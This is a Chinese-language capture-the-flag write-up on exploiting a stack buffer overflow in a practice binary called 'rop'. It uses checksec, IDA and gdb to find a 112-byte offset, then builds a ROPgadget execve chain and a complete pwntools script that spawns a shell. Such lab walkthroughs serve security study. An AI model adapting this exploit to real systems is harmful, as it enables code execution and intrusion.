程序源码
#include <stdio.h>
#include <stdlib.h>
char *shell = "/bin/sh";
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("This time, no system() and NO SHELLCODE!!!\n");
printf("What do you plan to do?\n");
gets(buf);
return 0;
}
检查程序
ios@ubuntu:~$ checksec rop
[*] '/home/ios/rop'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ios@ubuntu:~$
NX开启
载入IDA分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);//存在漏洞
return 0;
}
由于题目包含了libc所以可以直接使用ropchain getshell
本题有个不理解的点 就是v4的偏移 直接ida的偏移是错的 所以在此记录 正确偏移的分析方法
在gets处下断
gdb-peda$ b* 0x8048E96
Breakpoint 2 at 0x8048e96: file rop.c, line 15.
尝试运行到gets处
gdb-peda$ c
Continuing.
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
[----------------------------------registers-----------------------------------]
EAX: 0xffffd04c --> 0x3
EBX: 0x80481a8 (<_init>: push ebx)
ECX: 0x80eb4d4 --> 0x0
EDX: 0x18
ESI: 0x0
EDI: 0x80ea00c --> 0x8067b10 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
EBP: 0xffffd0b8 --> 0x8049630 (<__libc_csu_fini>: push ebx)
ESP: 0xffffd030 --> 0xffffd04c --> 0x3
EIP: 0x8048e96 (<main+114>: call 0x804f650 <gets>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048e8a <main+102>: call 0x804f7e0 <puts>
0x8048e8f <main+107>: lea eax,[esp+0x1c]
0x8048e93 <main+111>: mov DWORD PTR [esp],eax
=> 0x8048e96 <main+114>: call 0x804f650 <gets>
0x8048e9b <main+119>: mov eax,0x0
0x8048ea0 <main+124>: leave
0x8048ea1 <main+125>: ret
0x8048ea2: xchg ax,ax
Guessed arguments:
arg[0]: 0xffffd04c --> 0x3
[------------------------------------stack-------------------------------------]
0000| 0xffffd030 --> 0xffffd04c --> 0x3
0004| 0xffffd034 --> 0x0
0008| 0xffffd038 --> 0x1
0012| 0xffffd03c --> 0x0
0016| 0xffffd040 --> 0x1
0020| 0xffffd044 --> 0xffffd144 --> 0xffffd313 ("/home/ios/rop")
0024| 0xffffd048 --> 0xffffd14c --> 0xffffd321 ("XDG_VTNR=7")
0028| 0xffffd04c --> 0x3
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x08048e96 in main () at rop.c:15
15 in rop.c
此时 esp 0xffffd030
ebp 0xffffd0b8
因为 int v4; // [esp+1Ch] [ebp-64h]
所以 此时v4地址为 0xffffd04c
gdb-peda$ p/x 0xffffd030+0x1c
$3 = 0xffffd04c
接着计算v4到ebp的距离
gdb-peda$ p/x 0xffffd0b8-0xffffd04c
$6 = 0x6c
gdb-peda$ p/d 0xffffd0b8-0xffffd04c
$7 = 108
可以得到v4到ebp的偏移为108 所以到ret的偏移为108+4=112
接着使用ROPgadget生成ropchain
ROPgadget --binary rop –-ropchain
找到
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # int 0x80
接着改写为exp
exp
from pwn import *
from struct import pack
sh = process('./rop')
p = 'a'*112
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb196) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806eb6a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054590) # xor eax, eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x0807b5bf) # inc eax ; ret
p += pack('<I', 0x08049421) # int 0x80
sh.send(p)
sh.interactive()
运行成功获得shell